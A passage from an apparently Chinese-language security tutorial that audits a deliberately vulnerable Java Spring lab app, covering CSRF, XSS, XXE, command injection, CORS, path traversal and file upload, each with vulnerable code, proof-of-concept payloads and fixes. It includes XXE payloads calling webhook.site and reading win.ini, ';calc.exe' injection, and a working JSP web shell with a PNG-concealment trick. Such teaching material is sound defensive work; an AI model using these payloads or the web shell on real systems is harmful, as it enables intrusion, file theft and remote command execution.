            Socket.setSocketImplFactory(new SocketHookFactory());
        }catch (SocketException ignored){
        }
    }

    public static void stopHook(){
        SocketHookFactory.setHook(false);
    }
}

功能分析

  • startHook():
    • 启动 SocketHook,对所有新创建的 Socket 应用自定义行为。核心是通过 Socket.setSocketImplFactory() 来设置一个新的 Socket 工厂。
    • 可能用于在 Socket 连接期间监控、修改、或审查数据流量。
  • stopHook():
    • 关闭 SocketHook,将 SocketHookFactory 中的钩子状态关闭,停止对新 Socket 实例的自定义行为。

应用场景

  • 安全防护:可以用来检测、拦截或修改特定的网络连接,防止攻击(如 SSRF、RFI 等)通过不受控制的网络请求滥用服务器资源。
  • 网络审计:可用于监控网络流量,以记录或分析 Socket 通信内容。
  • 调试/测试:在调试或测试环境中,使用钩子来捕获和分析网络通信行为。

五、CSRF

CSRF 攻击原理

CSRF 的核心是利用用户的身份认证会话。例如,用户在登录某个网站后,拥有一个有效的会话 Cookie,这个 Cookie 允许用户在不重新登录的情况下执行后续操作。攻击者通过诱导用户访问恶意网站,自动向受信任网站发送合法的请求(携带了用户的会话 Cookie),从而让服务器认为是合法用户发起的操作。

攻击流程:

  1. 用户在浏览器中登录了受信任的网站(如银行网站),并且拥有有效的会话。
  2. 攻击者创建了一个恶意网站,嵌入了向受信任网站发送请求的代码。
  3. 用户在登录受信任网站后,访问了攻击者的恶意网站,恶意网站在用户不知情的情况下,自动向受信任网站发送请求(如转账请求)。
  4. 受信任的网站无法区分该请求是用户发起的还是攻击者伪造的,因此会执行这个请求。

1.路由/csrf/post

漏洞代码:

@Controller
@RequestMapping("/csrf")
public class CSRF {

    @GetMapping("/")
    public String index() {
        return "form";
    }

    @PostMapping("/post")
    @ResponseBody
    public String post() {
        return "CSRF passed.";
    }
}

对应前端代码:


<html xmlns:th="http://www.thymeleaf.org" lang="en">
<head>
    <script th:src="@{https://code.jquery.com/jquery-3.4.1.min.js}"></script>
</head>



<body>


<div>
    <!-- th:action with Spring 3.2+ and Thymeleaf 2.1+ can automatically force Thymeleaf to include the CSRF token as a hidden field -->
    <!-- <form name="f" th:action="@{/csrf/post}" method="post"> -->
    <form name="f" action="/csrf/post" method="post">
        <input type="text" name="input" />
        <input type="submit" value="Submit" />
        <input type="hidden" th:name="${_csrf.parameterName}" th:value="${_csrf.token}" />
    </form>
</div>


</body>




</html>

该代码存在csrf漏洞,漏洞验证poc:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CSRF Exploit</title>
</head>
<body>
    <h1>Simulating CSRF Attack</h1>

    <form id="csrfForm" action="http://127.0.0.1:8080/csrf/post" method="POST">
        <input type="hidden" name="message" value="This is a CSRF attack message">
    </form>

    <script>
        // 自动提交表单,执行攻击
        document.getElementById('csrfForm').submit();
    </script>
</body>
</html>

访问该页面,会自动调用该路由实现CSRF攻击。

image-20241008104016372

CSRF防护

使用CSRF Token

  • 服务器生成一个唯一的CSRF Token并将其发送给用户(通常通过隐藏字段、URL参数或HTTP头)。
  • 在提交表单或发起请求时,客户端将该Token一同发送回服务器,服务器验证Token的有效性以防止伪造请求。

SameSite Cookie 属性

  • 设置Cookie的SameSite属性为StrictLax,限制第三方网站通过跨站点方式发送Cookie。
  • Strict:禁止任何跨站请求携带Cookie。
  • Lax:允许一些安全的跨站请求(例如GET请求),但阻止POST等敏感操作。

双重Cookie验证

  • 服务器发送一个Cookie给用户,客户端在请求时会自动携带该Cookie。
  • 客户端还需要在表单中携带相同的值(通过JS从Cookie中提取),服务器检查这两个值是否匹配。

检查Referer头

  • 服务器通过验证请求头中的Referer字段是否来自合法的域名,来确定请求是否来自可信来源。
  • 这种方法并不完全可靠,因为有些环境下Referer头可能会被修改或省略。

CAPTCHA

  • 使用CAPTCHA来确保请求是由真实用户而非自动化脚本发起,虽然这种方式不能完全防护CSRF,但能增加攻击难度。

限制请求来源

  • 对敏感操作(如资金转移、修改账户信息等)设置请求来源的严格验证,确保这些操作只能通过特定的合法来源进行。

六、XSS

1.路由/xss/reflect

漏洞代码:

 @RequestMapping("/reflect")
    @ResponseBody
    public static String reflect(String xss) {
        return xss;
    }

存在反射型xss,验证漏洞:

image-20241008104436572

2.路由/xss/stored

漏洞代码:

 @RequestMapping("/stored/store")
    @ResponseBody
    public String store(String xss, HttpServletResponse response) {
        Cookie cookie = new Cookie("xss", xss);
        response.addCookie(cookie);
        return "Set param into cookie";
    }

    /**
     * Vul Code.
     * StoredXSS Step2
     * http://localhost:8080/xss/stored/show
     *
     * @param xss unescape string
     */
    @RequestMapping("/stored/show")
    @ResponseBody
    public String show(@CookieValue("xss") String xss) {
        return xss;
    }

存在存储型xss,漏洞验证:

先利用路由/xss/stored/store将恶意代码存到cookie中

image-20241008104751040

再访问/xss/stored/show路由实现攻击:

image-20241008104854995

XSS攻击防护

防护代码:

    @RequestMapping("/safe")
    @ResponseBody
    public static String safe(String xss) {
        return encode(xss);
    }

    private static String encode(String origin) {
        origin = StringUtils.replace(origin, "&", "&amp;");
        origin = StringUtils.replace(origin, "<", "&lt;");
        origin = StringUtils.replace(origin, ">", "&gt;");
        origin = StringUtils.replace(origin, "\"", "&quot;");
        origin = StringUtils.replace(origin, "'", "&#x27;");
        origin = StringUtils.replace(origin, "/", "&#x2F;");
        return origin;
    }
}

对一些可能会被利用的关键字进行替换成安全的编码

七、XXE

1.路由/xxe/xmlReader/vuln

漏洞代码:

@PostMapping("/xmlReader/vuln")
    public String xmlReaderVuln(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);
            XMLReader xmlReader = XMLReaderFactory.createXMLReader();
            xmlReader.parse(new InputSource(new StringReader(body)));  // parse xml
            return "xmlReader xxe vuln code";
        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }
    }

2.路由/xxe/SAXBuilder/vuln

@RequestMapping(value = "/SAXBuilder/vuln", method = RequestMethod.POST)
    public String SAXBuilderVuln(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);

            SAXBuilder builder = new SAXBuilder();
            // org.jdom2.Document document
            builder.build(new InputSource(new StringReader(body)));  // cause xxe
            return "SAXBuilder xxe vuln code";
        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }
    }

换用SAXReader第三方库,攻击手法同上:

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE test [<!ENTITY xxe SYSTEM "https://webhook.site/bef89c10-3850-4342-8f7e-934073c0cc12">]><root>&xxe;</root>

POST发送:

image-20241008110604490

接收到dnslog:

image-20241008110623158

修复代码

原理同上,禁用了外部实体:

    @RequestMapping(value = "/SAXBuilder/sec", method = RequestMethod.POST)
    public String SAXBuilderSec(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);

            SAXBuilder builder = new SAXBuilder();
            builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
            builder.setFeature("http://xml.org/sax/features/external-general-entities", false);
            builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
            // org.jdom2.Document document
            builder.build(new InputSource(new StringReader(body)));

        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }

        return "SAXBuilder xxe security code";
    }

3.路由/xxe/SAXReader/vuln

漏洞代码:

@RequestMapping(value = "/SAXReader/vuln", method = RequestMethod.POST)
    public String SAXReaderVuln(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);

            SAXReader reader = new SAXReader();
            // org.dom4j.Document document
            reader.read(new InputSource(new StringReader(body))); // cause xxe

        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }

        return "SAXReader xxe vuln code";
    }

跟上面的区别是该类有回显,payload不变

4.路由/xxe/SAXParser/vuln

漏洞代码:

  @RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
    public String SAXParserVuln(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);

            SAXParserFactory spf = SAXParserFactory.newInstance();
            SAXParser parser = spf.newSAXParser();
            parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml

            return "SAXParser xxe vuln code";
        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }
    }

5.路由/xxe/Digester/vuln

漏洞代码:

@RequestMapping(value = "/Digester/vuln", method = RequestMethod.POST)
    public String DigesterVuln(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);

            Digester digester = new Digester();
            digester.parse(new StringReader(body));  // parse xml
        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }
        return "Digester xxe vuln code";
    }

6.路由/xxe/DocumentBuilder/vuln

漏洞代码:

@RequestMapping(value = "/DocumentBuilder/vuln", method = RequestMethod.POST)
    public String DocumentBuilderVuln(HttpServletRequest request) {
        try {
            DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
            DocumentBuilder db = dbf.newDocumentBuilder();
            InputSource is = new InputSource(request.getInputStream());
            Document document = db.parse(is);  // parse xml

            // 遍历xml节点name和value
            StringBuilder buf = new StringBuilder();
            NodeList rootNodeList = document.getChildNodes();
            for (int i = 0; i < rootNodeList.getLength(); i++) {
                Node rootNode = rootNodeList.item(i);
                NodeList child = rootNode.getChildNodes();
                for (int j = 0; j < child.getLength(); j++) {
                    Node node = child.item(j);
                    buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent()));
                }
            }
            return buf.toString();
        } catch (Exception e) {
            e.printStackTrace();
            logger.error(e.toString());
            return e.toString();
        }
    }

这是JDK自带的类,以此产生的XXE是存在回显的

7.路由/xxe/DocumentBuilder/xinclude/vuln

漏洞代码:

@RequestMapping(value = "/DocumentBuilder/xinclude/vuln", method = RequestMethod.POST)
    public String DocumentBuilderXincludeVuln(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);

            DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
            dbf.setXIncludeAware(true);   // 支持XInclude
            dbf.setNamespaceAware(true);  // 支持XInclude
            DocumentBuilder db = dbf.newDocumentBuilder();
            StringReader sr = new StringReader(body);
            InputSource is = new InputSource(sr);
            Document document = db.parse(is);  // parse xml

            NodeList rootNodeList = document.getChildNodes();
            response(rootNodeList);

            sr.close();
            return "DocumentBuilder xinclude xxe vuln code";
        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }
    }

8.路由/xxe/XMLReader/vuln

漏洞代码:

@PostMapping("/XMLReader/vuln")
    public String XMLReaderVuln(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);

            SAXParserFactory spf = SAXParserFactory.newInstance();
            SAXParser saxParser = spf.newSAXParser();
            XMLReader xmlReader = saxParser.getXMLReader();
            xmlReader.parse(new InputSource(new StringReader(body)));

        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }

        return "XMLReader xxe vuln code";
    }

9.路由/xxe/DocumentHelper/vuln

漏洞代码:

@PostMapping("/DocumentHelper/vuln")
    public String DocumentHelper(HttpServletRequest req) {
        try {
            String body = WebUtils.getRequestBody(req);
            DocumentHelper.parseText(body); // parse xml
        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }

        return "DocumentHelper xxe vuln code";
    }


    private static void response(NodeList rootNodeList){
        for (int i = 0; i < rootNodeList.getLength(); i++) {
            Node rootNode = rootNodeList.item(i);
            NodeList xxe = rootNode.getChildNodes();
            for (int j = 0; j < xxe.getLength(); j++) {
                Node xxeNode = xxe.item(j);
                // 测试不能blind xxe,所以强行加了一个回显
                logger.info("xxeNode: " + xxeNode.getNodeValue());
            }

        }
    }

修复该漏洞只需升级dom4j到2.1.1及以上,该版本及以上禁用了ENTITY,不带ENTITY的PoC不能利用,所以禁用ENTITY即可完成修复。

上述存在XXE漏洞库对比

工具/类 简介 使用场景 优点 缺点
xmlReader SAX 的接口,基于事件驱动的解析 处理大型 XML 文件 内存占用小,速度快 需要手动管理上下文,处理复杂结构困
SAXBuilder JDOM 中基于 SAX 的解析器 需要用 JDOM 处理 XML 数据时 结合了 SAX 的高效性和 JDOM 的易用性 解析速度依赖于 SAX,灵活性低于 DOM
SAXReader` Dom4j 中基于 SAX 的解析器 需要 Dom4j 进行 XML 操作时 高效且灵活,支持树结构 性能略逊于纯 SAX
SAXParser Java 中的 SAX 解析器 基于事件驱动的解析,适合处理大型 XML 文件 高效,内存占用小 解析复杂 XML 需要手动处理回调
Digester` 基于 SAX,将 XML 映射到 Java 对象(Apache Commons 提供) 需要将 XML 映射为 Java 对象时 简化 XML 与 Java 对象的映射 对大文件不友好,灵活性较低
DocumentBuilder` Java 中 DOM 解析器,用于构建树状结构 需要完整树结构操作,如修改和多次遍历 XML 文件 完整保留文档结构,易于查找和修改 内存占用较大,处理大文件时性能较差
DocumentHelper Dom4j 提供的辅助类,用于快速创建和操作 XML 文档 需要手动构建和操作 XML 文档时 快速创建和处理 XML 文档,灵活性高 内存占用较大,处理超大文件时性能不佳

统一漏洞利用payload:

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE test [<!ENTITY xxe SYSTEM "https://webhook.site/bef89c10-3850-4342-8f7e-934073c0cc12">]><root>&xxe;</root>

POST传入:

image-20241008105859368

接收到DNSLOG

image-20241008105829498

统一修复代码

//实例化解析类之后通常会支持着三个配置
obj.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
obj.setFeature("http://xml.org/sax/features/external-general-entities", false);
obj.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

禁用了外部实体,限制实体来源。

10.路由/xxe/xmlbeam/vuln

漏洞代码:

        @PostMapping(value = "/xmlbeam/vuln")
        HttpEntity<String> post(@RequestBody UserPayload user) {
            try {
                logger.info(user.toString());
                return ResponseEntity.ok(String.format("hello, %s!", user.getUserName()));
            }catch (Exception e){
                e.printStackTrace();
                return ResponseEntity.ok("error");
            }
        }

        /**
         * The projection interface using XPath and JSON Path expression to selectively pick elements from the payload.
         */
        @ProjectedPayload
        public interface UserPayload {
            @XBRead("//userName")
            String getUserName();
        }

该代码需要使用固定的标签可以实现回显,我们可以构造payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [  
    <!ENTITY xxe SYSTEM "file:/c:/Windows/win.ini">  
]>
<userPayload>
    <userName>&xxe;</userName>
</userPayload>

通过抓包上传实现任意文件读取

image-20241008142315473

11.路由/ooxml/readxlsx

漏洞代码:

 @PostMapping("/readxlsx")
    @ResponseBody
    public String ooxml_xxe(MultipartFile file) throws IOException {
        XSSFWorkbook wb = new XSSFWorkbook(file.getInputStream()); // xxe vuln

        XSSFSheet sheet = wb.getSheetAt(0);
        XSSFRow row;
        XSSFCell cell;

        Iterator rows = sheet.rowIterator();
        StringBuilder sbResult = new StringBuilder();

        while (rows.hasNext()) {

            row = (XSSFRow) rows.next();
            Iterator cells = row.cellIterator();

            while (cells.hasNext()) {
                cell = (XSSFCell) cells.next();

                if (cell.getCellType() == XSSFCell.CELL_TYPE_STRING) {
                    sbResult.append(cell.getStringCellValue()).append(" ");
                } else if (cell.getCellType() == XSSFCell.CELL_TYPE_NUMERIC) {
                    sbResult.append(cell.getNumericCellValue()).append(" ");
                } else {
                    logger.info("errors");
                }
            }
        }

        return sbResult.toString();
    }

查看源码得知使用的是poi-ooxml组件( Apache POI是提供Microsoft Office系列文档读、写功能的 JAVA 类库)进行xlsx文件操作,在3.10版本及以下存在XXE注入漏洞,3.15以下版本存在Dos漏洞,这里使用的是3.9版本。

image-20241009104055332

用压缩程序打开生成的测试xlsx表格,在[Content_Types].xml文件中插入攻击代码:

<!DOCTYPE test [
    <!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "https://webhook.site/423855a2-9152-4556-b8d3-a0450e32819c">
]>
<test>&xxe;</test>

image-20241009110131500

然后压缩为1.zip,改后缀为1.xlsx,上传后实现命令执行

image-20241009110238586

12.路由/xlsx-streamer/readxlsx

漏洞代码:

 @PostMapping("/readxlsx")
    public void xllx_streamer_xxe(MultipartFile file) throws IOException {
        StreamingReader.builder().open(file.getInputStream());
    }

换了个库,原理payload 同上

八、命令注入

1.路由/codeinject

漏洞代码:

    @GetMapping("/codeinject")
    public String codeInject(String filepath) throws IOException {

        String[] cmdList = new String[]{"sh", "-c", "ls -la " + filepath};
        ProcessBuilder builder = new ProcessBuilder(cmdList);
        builder.redirectErrorStream(true);
        Process process = builder.start();
        return WebUtils.convertStreamToString(process.getInputStream());
    }

传入的filepath参数直接与原命令拼接,可以实现命令注入,构造payload:

;calc.exe

image-20241008144233099

2.路由/codeinject/host

漏洞代码:

@GetMapping("/codeinject/host")
    public String codeInjectHost(HttpServletRequest request) throws IOException {

        String host = request.getHeader("host");
        logger.info(host);
        String[] cmdList = new String[]{"sh", "-c", "curl " + host};
        ProcessBuilder builder = new ProcessBuilder(cmdList);
        builder.redirectErrorStream(true);
        Process process = builder.start();
        return WebUtils.convertStreamToString(process.getInputStream());
    }

同样可以实现命令拼接,构造payload:

;calc.exe

修改host字段实现命令拼接

image-20241008144612745

漏洞修复

修复代码

    @GetMapping("/codeinject/sec")
    public String codeInjectSec(String filepath) throws IOException {
        String filterFilePath = SecurityUtil.cmdFilter(filepath);
        if (null == filterFilePath) {
            return "Bad boy. I got u.";
        }
        String[] cmdList = new String[]{"sh", "-c", "ls -la " + filterFilePath};
        ProcessBuilder builder = new ProcessBuilder(cmdList);
        builder.redirectErrorStream(true);
        Process process = builder.start();
        return WebUtils.convertStreamToString(process.getInputStream());
    }

cmdFilter函数代码:

private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$");
   public static String cmdFilter(String input) {
        if (!FILTER_PATTERN.matcher(input).matches()) {
            return null;
        }

        return input;
    }

限制了参数中的字符,防止命令注入。

九、Cookie伪造

漏洞代码:

    private static String NICK = "nick";

    @GetMapping(value = "/vuln01")
    public String vuln01(HttpServletRequest req) {
        String nick = WebUtils.getCookieValueByName(req, NICK); // key code
        return "Cookie nick: " + nick;
    }

漏洞代码:

 @GetMapping(value = "/vuln02")
    public String vuln02(HttpServletRequest req) {
        String nick = null;
        Cookie[] cookie = req.getCookies();

        if (cookie != null) {
            nick = getCookie(req, NICK).getValue();  // key code
        }

        return "Cookie nick: " + nick;
    }

漏洞代码:

   @GetMapping(value = "/vuln03")
    public String vuln03(HttpServletRequest req) {
        String nick = null;
        Cookie cookies[] = req.getCookies();
        if (cookies != null) {
            for (Cookie cookie : cookies) {
                // key code. Equals can also be equalsIgnoreCase.
                if (NICK.equals(cookie.getName())) {
                    nick = cookie.getValue();
                }
            }
        }
        return "Cookie nick: " + nick;
    }

漏洞代码:

@GetMapping(value = "/vuln04")
    public String vuln04(HttpServletRequest req) {
        String nick = null;
        Cookie cookies[] = req.getCookies();
        if (cookies != null) {
            for (Cookie cookie : cookies) {
                if (cookie.getName().equalsIgnoreCase(NICK)) {  // key code
                    nick = cookie.getValue();
                }
            }
        }
        return "Cookie nick: " + nick;
    }

漏洞代码:

   @GetMapping(value = "/vuln05")
    public String vuln05(@CookieValue("nick") String nick) {
        return "Cookie nick: " + nick;
    }

漏洞代码:

@GetMapping(value = "/vuln06")
    public String vuln06(@CookieValue(value = "nick") String nick) {
        return "Cookie nick: " + nick;
    }

漏洞利用

我们可以直接通过修改cookie的值实现对nick值的修改,某些情况可能会存在越权漏洞,操作如下:

image-20241008145950138

十、CORS

CORS(跨域资源共享)是用来实现跨域资源访问的,比如有两个域a1.com和b1.com,假设b1.com上面有个接口能够获取一些返回的数据,那么如果我们从a1.com写一段js去请求这个接口的数据,一般来说是请求不了的,会在浏览器爆出CORS错误,但如果有CORS设置,就可以实现这样的访问,甚至可以能够使用b1.com上的cookie。

1.路由/cors/vuln/origin

漏洞代码:

    private static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}";

    @GetMapping("/vuln/origin")
    public String vuls1(HttpServletRequest request, HttpServletResponse response) {
        String origin = request.getHeader("origin");
        response.setHeader("Access-Control-Allow-Origin", origin); // set origin from header
        response.setHeader("Access-Control-Allow-Credentials", "true");  // allow cookie
        return info;
    }

2.路由/cors/vuln/setHeader

漏洞代码:

@GetMapping("/vuln/setHeader")
    public String vuls2(HttpServletResponse response) {
        // 后端设置Access-Control-Allow-Origin为*的情况下,跨域的时候前端如果设置withCredentials为true会异常
        response.setHeader("Access-Control-Allow-Origin", "*");
        return info;
    }

3.路由/cors/vuln/crossOrigin

漏洞代码:

    @GetMapping("*")
    @RequestMapping("/vuln/crossOrigin")
    public String vuls3() {
        return info;
    }

漏洞验证

可通过抓包修改origin字段验证漏洞

image-20241008155935546

漏洞防御

(1)限制origin

防御代码:

  @CrossOrigin(origins = {"joychou.org", "http://test.joychou.me"})
    @GetMapping("/sec/crossOrigin")
    public String secCrossOrigin() {
        return info;
    }

(2)WebMvcConfigurer设置Cors

防御代码:

  @GetMapping("/sec/webMvcConfigurer")
    public CsrfToken getCsrfToken_01(CsrfToken token) {
        return token;
    }

对应过滤器:

    public WebMvcConfigurer corsConfigurer() {
        return new WebMvcConfigurerAdapter() {
            @Override
            public void addCorsMappings(CorsRegistry registry) {
                // 为了支持一级域名,重写了checkOrigin
                //String[] allowOrigins = {"joychou.org", "http://test.joychou.me"};
                registry.addMapping("/cors/sec/webMvcConfigurer") // /**表示所有路由path
                        //.allowedOrigins(allowOrigins)
                        .allowedMethods("GET", "POST")
                        .allowCredentials(true);
            }
        };
    }

(3)spring security设置cors

防御代码:

@GetMapping("/sec/httpCors")
public CsrfToken getCsrfToken_02(CsrfToken token) {
    return token;
}

对应过滤器:

    CorsConfigurationSource corsConfigurationSource()
    {
        // Set cors origin white list
        ArrayList<String> allowOrigins = new ArrayList<>();
        allowOrigins.add("joychou.org");
        allowOrigins.add("https://test.joychou.me"); // 区分http和https,并且默认不会拦截同域请求。

        CorsConfiguration configuration = new CorsConfiguration();
        configuration.setAllowedOrigins(allowOrigins);
        configuration.setAllowCredentials(true);
        configuration.setAllowedMethods(Arrays.asList("GET", "POST"));
        UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
        source.registerCorsConfiguration("/cors/sec/httpCors", configuration); // ant style
        return source;
    }

(4)自定义filter设置cors

防御代码:

    @GetMapping("/sec/originFilter")
    public CsrfToken getCsrfToken_03(CsrfToken token) {
        return token;
    }

对应过滤器:

@WebFilter(filterName = "OriginFilter", urlPatterns = "/cors/sec/originFilter")
public class OriginFilter implements Filter {

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    private final Logger logger = LoggerFactory.getLogger(this.getClass());

    @Override
    public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain)
            throws IOException, ServletException {

        HttpServletRequest request = (HttpServletRequest) req;
        HttpServletResponse response = (HttpServletResponse) res;

        String origin = request.getHeader("Origin");
        logger.info("[+] Origin: " + origin + "\tCurrent url:" + request.getRequestURL());

        // 以file协议访问html,origin为字符串的null,所以依然会走安全check逻辑
        if (origin != null && SecurityUtil.checkURL(origin) == null) {
            logger.error("[-] Origin check error. " + "Origin: " + origin +
                    "\tCurrent url:" + request.getRequestURL());
            response.setStatus(response.SC_FORBIDDEN);
            response.getWriter().println("Invaid cors config by joychou.");
            return;
        }

        response.setHeader("Access-Control-Allow-Origin", origin);
        response.setHeader("Access-Control-Allow-Credentials", "true");
        response.setHeader("Access-Control-Allow-Methods", "GET, POST, OPTION");

        filterChain.doFilter(req, res);
    }

(5)CorsFilter设置cors

防御代码:

 @RequestMapping("/sec/corsFilter")
    public CsrfToken getCsrfToken_04(CsrfToken token) {
        return token;
    }

对应过滤器:

public class BaseCorsFilter extends CorsFilter {

    public BaseCorsFilter() {
        super(configurationSource());
    }

    private static UrlBasedCorsConfigurationSource configurationSource() {
        CorsConfiguration config = new CorsConfiguration();
        config.setAllowCredentials(true);
        config.addAllowedOrigin("joychou.org"); // 不支持
        config.addAllowedOrigin("http://test.joychou.me");
        config.addAllowedHeader("*");
        config.addAllowedMethod("GET");
        config.addAllowedMethod("POST");

        UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
        source.registerCorsConfiguration("/cors/sec/corsFilter", config);

        return source;
    }
}

(6)origin检查

防御代码:

    @GetMapping("/sec/checkOrigin")
    public String seccode(HttpServletRequest request, HttpServletResponse response) {
        String origin = request.getHeader("Origin");

        // 如果origin不为空并且origin不在白名单内,认定为不安全。
        // 如果origin为空,表示是同域过来的请求或者浏览器直接发起的请求。
        if (origin != null && SecurityUtil.checkURL(origin) == null) {
            return "Origin is not safe.";
        }
        response.setHeader("Access-Control-Allow-Origin", origin);
        response.setHeader("Access-Control-Allow-Credentials", "true");
        return LoginUtils.getUserInfo2JsonStr(request);
    }

十一、目录遍历

1.路由/path_traversal/vul

漏洞代码:

  @GetMapping("/path_traversal/vul")
    public String getImage(String filepath) throws IOException {
        return getImgBase64(filepath);
    }
private String getImgBase64(String imgFile) throws IOException {

        logger.info("Working directory: " + System.getProperty("user.dir"));
        logger.info("File path: " + imgFile);

        File f = new File(imgFile);
        if (f.exists() && !f.isDirectory()) {
            byte[] data = Files.readAllBytes(Paths.get(imgFile));
            return new String(Base64.encodeBase64(data));
        } else {
            return "File doesn't exist or is not a file.";
        }
    }

存在一个文件读取接口,构造目录遍历拿到base64数据

image-20241008163207205

解码拿到内容:

image-20241008163241485

修复代码:

    @GetMapping("/path_traversal/sec")
    public String getImageSec(String filepath) throws IOException {
        if (SecurityUtil.pathFilter(filepath) == null) {
            logger.info("Illegal file path: " + filepath);
            return "Bad boy. Illegal file path.";
        }
        return getImgBase64(filepath);
    }

pathFilter函数内容:

 public static String pathFilter(String filepath) {
        String temp = filepath;

        // use while to sovle multi urlencode
        while (temp.indexOf('%') != -1) {
            try {
                temp = URLDecoder.decode(temp, "utf-8");
            } catch (UnsupportedEncodingException e) {
                logger.info("Unsupported encoding exception: " + filepath);
                return null;
            } catch (Exception e) {
                logger.info(e.toString());
                return null;
            }
        }

        if (temp.contains("..") || temp.charAt(0) == '/') {
            return null;
        }

        return filepath;
    }

对文件路径参数增加了过滤方法pathFilter,如果文件路径开头为/字符或者存在..连续字符出现就返回空字符串,但是这种过滤只是简单的应对措施,如果是Windows操作系统上以盘符开始的路径,就显得无能为力。

十二、文件上传

1.路由/file/upload

    @PostMapping("/upload")
    public String singleFileUpload(@RequestParam("file") MultipartFile file,
                                   RedirectAttributes redirectAttributes) {
        if (file.isEmpty()) {
            // 赋值给uploadStatus.html里的动态参数message
            redirectAttributes.addFlashAttribute("message", "Please select a file to upload");
            return "redirect:/file/status";
        }

        try {
            // Get the file and save it somewhere
            byte[] bytes = file.getBytes();
            Path path = Paths.get(UPLOADED_FOLDER + file.getOriginalFilename());
            Files.write(path, bytes);

            redirectAttributes.addFlashAttribute("message",
                    "You successfully uploaded '" + UPLOADED_FOLDER + file.getOriginalFilename() + "'");

        } catch (IOException e) {
            redirectAttributes.addFlashAttribute("message", "upload failed");
            logger.error(e.toString());
        }

        return "redirect:/file/status";
    }

文件上传到方法中,未判断文件的类型、扩展名等信息,也未对生成文件的文件名进行重置,只是直接将文件上传到文件保存目录中,使用测试文件成功上传。构造一句话木马:

<% if ("pass".equals(request.getParameter("pwd"))) { java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b)) != -1) out.println(new String(b)); } %>

image-20241008181225763

修复代码:

    @PostMapping("/upload/picture")
    @ResponseBody
    public String uploadPicture(@RequestParam("file") MultipartFile multifile) throws Exception {
        if (multifile.isEmpty()) {
            return "Please select a file to upload";
        }

        String fileName = multifile.getOriginalFilename();
        String Suffix = fileName.substring(fileName.lastIndexOf(".")); // 获取文件后缀名
        String mimeType = multifile.getContentType(); // 获取MIME类型
        String filePath = UPLOADED_FOLDER + fileName;
        File excelFile = convert(multifile);


        // 判断文件后缀名是否在白名单内  校验1
        String[] picSuffixList = {".jpg", ".png", ".jpeg", ".gif", ".bmp", ".ico"};
        boolean suffixFlag = false;
        for (String white_suffix : picSuffixList) {
            if (Suffix.toLowerCase().equals(white_suffix)) {
                suffixFlag = true;
                break;
            }
        }
        if (!suffixFlag) {
            logger.error("[-] Suffix error: " + Suffix);
            deleteFile(filePath);
            return "Upload failed. Illeagl picture.";
        }


        // 判断MIME类型是否在黑名单内 校验2
        String[] mimeTypeBlackList = {
                "text/html",
                "text/javascript",
                "application/javascript",
                "application/ecmascript",
                "text/xml",
                "application/xml"
        };
        for (String blackMimeType : mimeTypeBlackList) {
            // 用contains是为了防止text/html;charset=UTF-8绕过
            if (SecurityUtil.replaceSpecialStr(mimeType).toLowerCase().contains(blackMimeType)) {
                logger.error("[-] Mime type error: " + mimeType);
                deleteFile(filePath);
                return "Upload failed. Illeagl picture.";
            }
        }

        // 判断文件内容是否是图片 校验3
        boolean isImageFlag = isImage(excelFile);
        deleteFile(randomFilePath);

        if (!isImageFlag) {
            logger.error("[-] File is not Image");
            deleteFile(filePath);
            return "Upload failed. Illeagl picture.";
        }


        try {
            // Get the file and save it somewhere
            byte[] bytes = multifile.getBytes();
            Path path = Paths.get(UPLOADED_FOLDER + multifile.getOriginalFilename());
            Files.write(path, bytes);
        } catch (IOException e) {
            logger.error(e.toString());
            deleteFile(filePath);
            return "Upload failed";
        }

        logger.info("[+] Safe file. Suffix: {}, MIME: {}", Suffix, mimeType);
        logger.info("[+] Successfully uploaded {}", filePath);
        return String.format("You successfully uploaded '%s'", filePath);
    }

判断为图片才允许上传,不过仍可通过其他方式绕过

copy 1.png/shell.jsp muma.png

十三、SpEL表达式注入漏洞

